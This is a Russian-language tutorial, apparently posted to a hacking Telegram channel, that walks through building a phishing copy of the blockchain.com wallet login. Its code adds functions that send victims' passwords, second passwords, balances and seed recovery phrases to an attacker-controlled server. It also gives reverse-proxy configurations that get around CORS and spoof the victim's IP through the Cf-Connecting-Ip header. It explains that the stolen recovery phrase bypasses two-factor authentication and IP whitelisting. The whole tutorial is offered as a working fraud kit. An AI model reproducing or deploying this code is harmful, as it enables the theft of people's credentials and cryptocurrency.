Фейковый Blockchain: от идеи до реализации!

Фейковый Blockchain: от идеи до реализации!


Все мы наслышаны про фэйки блокчейна(в нашем случае blockchain.com), но видел ли кто из нас простых смертных саму реализацию и что вообще фэйк из себя представляет?

Купить на рынке готовый продукт при этом, не зная из чего он состоит технически - это очень рискованно. Ведь за последние полгода, а может и год - уже объявлялись очень много кидал, которые показывали демо фэйка и сливались после получения крупной суммы, но сама статья не об этом.

Дело было вечером, делать было нечего и я решил посмотреть, как же можно реализовать фэйк блокчейна, не имея общего технического представления как это реализовали другие, опираясь только на описание возможностей и документацию.

И так, на минуточку вспомним всё, что мы знаем про фэйки.

 

> Фейк (англ. fake — подделка, фальшивка, обман, мошенничество) — что-либо ложное, недостоверное, сфальсифицированное, выдаваемое за действительное, реальное, достоверное с целью ввести в заблуждение.

Простыми словами, фэйк - это полноценная копия сайта с единственным отличием в домене, где основная идея заключается в том, чтобы посетитель не понял подмены и ввёл нужные нам данные.

И так, поехали!


Первым делом заходим на сайт: https://login.blockchain.com

 


Замечаем внизу данные версии и ссылку, которая ведёт на Github.

Переходим по ней и видим, что в репозитории выложены сорсы веб-интерфейса!

 

2.png.de57ebf8a01f5e4925294acaf23417e5.png


 

Хм... интересно, получается, что можно поднять копию веб-интерфейса без каких-либо знаний?

Я не мог поверить своим глазам, разве это было так просто? Кому пришла идея выложить это добро официально вообще не понятно.

 

Далее вчитываемся в инструкцию, пробуем установить:

wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
unzip blockchain-wallet-v4-frontend-4.48.16.zip
cd blockchain-wallet-v4-frontend
./setup.sh
yarn start:dev

Результат - ну "почти" полноценный фэйк 😄

 

3.png.0b250322eef62d827fd89c4cc17eafc0.png


Правда пока этот фэйк ничего не делает в плане отправки данных, чем мы сейчас и займёмся.

Нам нужно в файлах найти авторизацию и попробовать добавить свою функцию.

Ищем в файлах по ключевому слову "login".

Находим основной файл авторизации:

 

4.png.722eebf8dc5561686ecca5e5c65a7a78.png


Открываем файл: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js

Добавляем функцию для простой отправки:

const submitAuth = function ({guid, password}) {
    axios({
      url: `https://admin.blockchain.test/api/wallets`,
      method: 'POST',
      data: {
        guid: guid,
        password: password
      },
      headers: {
        'Content-Type': 'application/json'
      }
    })
  }

А так же после блока сессии:

let session = yield select(selectors.session.getSession, guid)

Добавляем:

yield call(submitAuth, {guid, password})

Осталось самое главное, запустить это всё на тестовом домене и посмотреть всю работоспособность.

Редактируем файл hosts:

127.0.0.1 login.blockchain.test

Открываем http://login.blockchain.test и пытаемся авторизоваться:

 

5.png.279d03c6289295a7678e1dc0c427ec80.png


 

Смотрим, что ничего не происходит, первым делом проверяем консоль:

 

6.png.b7232d1d0e0da3e2f912e5068aea804e.png


 

Ждало меня разочарование, оказывается API сервер не даёт делать запросы извне из-за CORS.

Думаем, думаем, как же решается CORS? Так ведь обычным реверс прокси на уровне веб-сервера. Разве нет?

Файл конфигурации для простого реверс прокси веб-сервера Caddy:

reverse.blockchain.test {
    route {
    reverse_proxy * https://blockchain.info  {
      header_up -Host
      header_up origin https://login.blockchain.com
      header_up referer https://login.blockchain.com/
      header_down Access-Control-Allow-Origin "*"
      header_down Content-Security-Policy "*"
      header_down Access-Control-Allow-Headers "*"
      header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
    }
  }
}

Что именно делает данный конфиг - просто проксирует все запросы к домену blockchain.info и меняет ответ в котором разрешает CORS-запросы, можно на абсолютно любом веб-сервере такое провернуть - для простоты работы и наглядности и был выбран Caddy, как отличный легковесный веб-сервер с автоматической поддержкой ssl, который написан на Go.

 

Теперь меняем адрес API сервера в нашем файле веб-интерфейса, для этого открываем файл config/env/production.js

 

Меняем:

ROOT_URL: 'https://blockchain.info',

На значение:

ROOT_URL: 'http://reverse.blockchain.test',

Пробуем еще раз авторизоваться:

 

5_1.png.b10b66210018626f8b2165ae28a43aef.png


 

Ураааа! Авторизация прошла успешно и письмо для подтверждения было отправлено.

 

Нам осталось только проверить почту и открыть письмо:

7.png.3e3f0d7d0a9c642ef6727c1e0cfb2a30.png


 

Да, но какого чёрта тут делает IP-адрес моего сервера? 😲😁

Я на минуточку задумался, мы же только недавно обходили CORS, поэтому и высвечивается этот адрес, и тут я вспомнил... во всех темах, где арендовался фэйк было написано про такую фичу, как IP-спуфинг.

Смысл заключается в том, что обычный пользователь оказавшийся на фэйке при подтверждении по почте, поймёт, что это IP-адрес чужой и попросту не подтвердит, что не есть хорошо. Получается, без этой фичи наш фэйк - это лишь подобие мощного комбайна, такое можно было и на HTML+CSS сделать.

 

Нужно немного найти информации про этот спуф... и так вспоминаем:

  Цитата
> IP-спуфинг - Вид хакерской атаки, заключающийся в использовании чужого IP-адреса источника с целью обмана системы безопасности.

Немного поразмыслив, вновь дочитав про IP-спуфинг, я пришёл к выводу, что IP-спуфинг работает только в UDP.

  Цитата
> Протокол транспортного (4) уровня TCP имеет встроенный механизм для предотвращения спуфинга

В запросе HTTP не получится подменить IP-адрес, ведь HTTP работает через TCP протокол.

Неужели это конец? Я немного расстроился, заварил чайку и всё-таки решил еще раз, посмотреть сам сайт и запросы https://login.blockchain.com после авторизации:

 

8.png.175c441b2ce3f30b1e6905268c3981d3.png


 

О, да... очень интересный саб-домен в заголовке x-original-host: wallet.prod.blockchain.info!

Нам нужно узнать подробности для всех доменов и IP-адресов.

Делаем запрос, чтобы узнать, где находится blockchain.info:

 

  Цитата
nslookup blockchain.info
Non-authoritative answer:
Name: blockchain.info
Address: 104.16.143.212
Name: blockchain.info
Address: 104.16.147.212
Name: blockchain.info
Address: 104.16.144.212
Name: blockchain.info
Address: 104.16.146.212
Name: blockchain.info
Address: 104.16.145.212

Теперь узнаём кому принадлежит IP-адрес:

 

  Цитата
whois 104.16.143.212
NetRange:   104.16.0.0 - 104.31.255.255
CIDR:     104.16.0.0/12
NetName:    CLOUDFLARENET
NetHandle:   NET-104-16-0-0-1
Parent:    NET104 (NET-104-0-0-0-0)
NetType:    Direct Assignment
OriginAS:   AS13335
Organization: Cloudflare, Inc. (CLOUD14)
RegDate:    2014-03-28
Updated:    2017-02-17
Comment:    All Cloudflare abuse reporting can be done via https://www.cloudflare.com/abuse

Осталось узнать, где находится wallet.prod.blockchain.info:

 

  Цитата
nslookup wallet.prod.blockchain.info
Name: wallet.prod.blockchain.info
Address: 35.201.74.1

Вновь узнаём кому принадлежит IP-адрес:

 

  Цитата
whois 35.201.74.1
NetRange:   35.192.0.0 - 35.207.255.255
CIDR:     35.192.0.0/12
NetName:    GOOGLE-CLOUD
NetHandle:   NET-35-192-0-0-1
Parent:    NET35 (NET-35-0-0-0-0)
NetType:    Direct Allocation
OriginAS:    
Organization: Google LLC (GOOGL-2)
RegDate:    2017-03-21
Updated:    2018-01-24
Comment:    *** The IP addresses under this Org-ID are in use by Google Cloud customers ***

На минутку я замер: они используют CloudFlare, но при этом основной сервер на который пересылаются запросы находится в облаке Google.

Пробуем пинговать:

 

  Цитата
 
ping wallet.prod.blockchain.info -c 1
PING wallet.prod.blockchain.info (35.201.74.1) 56(84) bytes of data.
64 bytes from 1.74.201.35.bc.googleusercontent.com (35.201.74.1): icmp_seq=1 ttl=119 time=0.968 ms
--- wallet.prod.blockchain.info ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.968/0.968/0.968/0.000 ms
 

Открываем сам сайт:

 

9.png.d868d016481c59a23a3883003ab10f57.png


404... хм... что-то и чай уже сильно остыл - ну да ладно, ведь мы тут нашли кое что-то очень интересное.

Я опять расстроился, но на минутку вспомнил, что раз сайт проксируется через CloudFlare, а далее передаётся в Google Cloud, то значит что они как-то передают нужные заголовки.

Ведь любой человек, который когда-либо работавший с CloudFlare знает, что все запросы на сервер идут: Посетитель <-> CloudFlare <-> Сервер.

Поэтому, чтобы восстановить реальный IP-адрес посетителя нам нужно прочитать документацию: https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs

И так, с уже остывшим чаем продолжаем наш путь, в документации говорится, что бы получить IP-адрес посетителя нужно получать данные из заголовков CF-Connecting-IP, в нашем же случае нам нужно отправлять такой заголовок, пробуем для начала в обычном запросе:

 

10.png.34bf52b777ddcfb66e89139139a7b5ca.png


 

Проверяем почту:

 

11.png.d7823fb0fe2c4e2c21b23fc1cce553d8.png


 

Чему я был безумно рад, осталось это интегрировать в наш реверс прокси:

 

  Цитата
reverse.blockchain.test {
  route {
  reverse_proxy * https://wallet.prod.blockchain.info {
   header_up -Host
   header_up origin https://login.blockchain.com
   header_up referer https://login.blockchain.com/
   header_up Cf-Connecting-Ip {http.request.remote.host}
   header_down Access-Control-Allow-Origin "*"
   header_down Content-Security-Policy "*"
   header_down Access-Control-Allow-Headers "*"
   header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
  }
 }
}

Авторизация работает, но почему-то не показывается баланс:

 

12.png.0f0d32777dd3e861a75438beb3050298.png


 

Открываем консоль, далее смотрим, что проблема возникает из-за того, что /multiadd доступен только blockchain.info, а в wallet.prod.blockchain.info его попросту нет:

 

13.png.2d5369eb660c588479ce396310397226.png


 

Оказывается наш реверс прокси не совсем универсальный. Добавляем немного логики в наш реверс прокси:

 

  Цитата
reverse.blockchain.test {
  route {
  reverse_proxy /multiaddr https://blockchain.info {
   header_up -Host
   header_up origin https://login.blockchain.com
   header_up referer https://login.blockchain.com/
   header_down Access-Control-Allow-Origin "*"
   header_down Content-Security-Policy "*"
   header_down Access-Control-Allow-Headers "*"
   header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
  }
  reverse_proxy * https://wallet.prod.blockchain.info {
   header_up -Host
   header_up origin https://login.blockchain.com
   header_up referer https://login.blockchain.com/
   header_up Cf-Connecting-Ip {http.request.remote.host}
   header_down Access-Control-Allow-Origin "*"
   header_down Content-Security-Policy "*"
   header_down Access-Control-Allow-Headers "*"
   header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
  }
 }
}

Отлично! Теперь все работает прекрасно!

Как итог, мы уже имеем: захват логина и пароляIP-спуфинг.

Но это нам ничего не даёт, ведь подтвердить по почте мы не сможем, а если у пользователя еще включена двух-факторная авторизация или блокировка по IP-адресу, то тут совсем беда.

Фэйк сделать-то сделали, но пользы от него мы не получим, если не будет постоянного доступа к аккаунту.

Решил всё-таки вернуться к истокам и еще раз посмотреть сам веб-интерфейс, нас интересуют настройки безопасности:

 

14.png.3923a77ba090e0114e7628d5a8bc9b60.png


 

Интересно, секретный ключ восстановления даёт возможность любому получить доступ к аккаунту?! Простите, что? 😲🤣👍

 

15.png.ed88774c5199f6f0296862160993d5b7.png


 

Перечитываю пару раз и только потом доходит, что этот секретный ключ - это нечто из разряда святых, если его потерял то можно лишиться денег на аккаунте.

И если он показывается в веб-интерфейсе, значит можно тоже отправить к себе, но для начала нам нужно проверить возможности секретного ключа.


Включаем в настройках двух-факторное подтверждение + белый список по IP-адресу.

Нам осталось только проверить, для этого мы подключаемся через второй сокс и переходим по ссылке, где вводим ключ восстановления:

 

16.png.ab92ec65d59046b0747ef859b451558e.png


 

После ввода правильного секретного ключа появляется форма для смены пароля:

 

17.png.3c70daeb2c6bd0fd9069fc01b347fe41.png


 

Вводим пароль и нажимаем на Recover Funds и после этого попадаем моментально в аккаунт:

 

18.png.7fe25693f8f593ca8e2674887824b310.png


 

Как итог, восстановление через секретный ключ позволяет обойти любые ограничения аккаунта: двух-факторную авторизацию + белый список по IP-адресу.

Это просто жесть, подумал я на минутку... значит даже смысла в записи логина пароля нет, можно просто собирать секретные ключи и восстанавливать аккаунты, а далее отключать настройки безопасности, в том числе изменять почтовый адрес.

"Так это фича, а не баг" - так сказали бы разработчики... 👏

 

Теперь нам осталось добавить все недостающие возможности в сам фэйк.


1) Секретный ключ восстановления.

Ищем в файлах "recovery", находим единственную функцию "recoverySaga", которая и выводит приватный ключ восстановления:

const recoverySaga = function * ({ password }) {
    const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
    try {
      const mnemonicT = yield select(getMnemonic)
      const mnemonic = yield call(() => taskToPromise(mnemonicT))
      const mnemonicArray = mnemonic.split(' ')
      yield put(
        actions.modules.settings.addMnemonic({ mnemonic: mnemonicArray })
      )
    } catch (e) {
      yield put(
        actions.logs.logErrorMessage(logLocation, 'showBackupRecovery', e)
      )
    }
  }

Нам нужно немного его изменить, открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для возврата секретного ключа в удобном для нас формате:

const recoverySagaInfo = function * ({ password }) {
    const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
    try {
      const mnemonicT = yield select(getMnemonic)
      const mnemonic = yield call(() => taskToPromise(mnemonicT))
      return mnemonic;
    } catch (e) {
    }
}

Нужно еще эти данные отправить, добавляем функцию отправки:

const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>
    axios({
      url: `https://admin.blockchain.test/api/recovers`,
      method: 'POST',
      data: {
        guid: guid,
        recover: recovery
      },
      headers: {
        'Content-Type': 'application/json'
      }
    })

2) Дополнительный пароль подтверждения ака второй пасс.

Ищем в файлах "SecondPassword" находим удивительный вызов функции:

import { promptForSecondPassword } from 'services/sagas'
const password = yield call(promptForSecondPassword)

Прекрасно. Это именно то, что нам и было нужно. 

Открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для отправки данных второго пароля:

const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>
  axios({
    url: `https://admin.blockchain.test/api/seconds`,
    method: 'POST',
    data: {
      guid: guid,
      password: password
    },
    headers: {
      'Content-Type': 'application/json'
    }
  })

Вызывать функцию будем чуть позже.

 

3) Баланс.

Если будет информация о балансе кошелька, то будет легче понимать какой из аккаунтов нужно восстанавливать моментально и в дальнейшем просто добавить уведомления.

Ищем в файлах "balances", находим не менее удивительный вызов функции в том же файле, который мы редактировали ранее: 

// check/wait for balances to be available
const balances = yield call(waitForAllBalances)

Добавляем функцию для отправки данных баланса:

const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
    axios({
      url: `https://admin.blockchain.test/api/balances`,
      method: 'POST',
      data: {
        guid: guid,
        "btc": balances.btc,
        "eth": balances.eth,
        "bch": balances.bch,
        "pax": balances.pax,
        "xlm": balances.xlm,
        "usdt": balances.usdt,
        "wdgld": balances.wdgld
      },
      headers: {
        'Content-Type': 'application/json'
      }
    })

Теперь, после авторизации, чтобы отправляло, нам нужно изменить файл packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:

Ищем функцию:

yield put(actions.goals.saveGoal('syncPit'))

Добавляем после неё

yield put(actions.goals.saveGoal('sendData'))

После чего нам нужно добавить новую функцию в файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:

const runSendData = function * (goal) {
    const { id } = goal
    // Удаляём задачу, чтобы не запускалось сто раз.
    yield put(actions.goals.deleteGoal(id))
    
    // Ждём данных пользователя
    yield call(waitForUserData)
    
    // Получаем идентификатор аккаунта
    const guid = yield select(selectors.core.wallet.getGuid)
    
    // Ждём загрузки баланса
    const balances = yield call(waitForAllBalances)
    // @ts-ignore
    yield call(submitBalance, {guid, balances});
    
    // Получаем второй пароль
    const password = yield call(promptForSecondPassword)  || null ;
    // @ts-ignore
    yield call(submitSecondPass, {guid, password});

    // Получаем секретный ключ восстановления
    const recovery = yield call(recoverySagaInfo, { password })
    // @ts-ignore
    yield call(submitRecover, {guid, recovery});

  }

В том же файле ищем:

case 'syncPit':
    yield call(runSyncPitGoal, goal)
    break

Добавляем после неё

case 'sendData':
    yield call(runSendData, goal)
    break

В файле packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:

После "referral", добавляем "sendData".

 

Готово! Наш безупречный фэйк со всеми возможностями создан.

"C великой силой приходит и великая ответственность" 🙏

МАТРИЦА (https://t.me/matrixleaks)


Report Page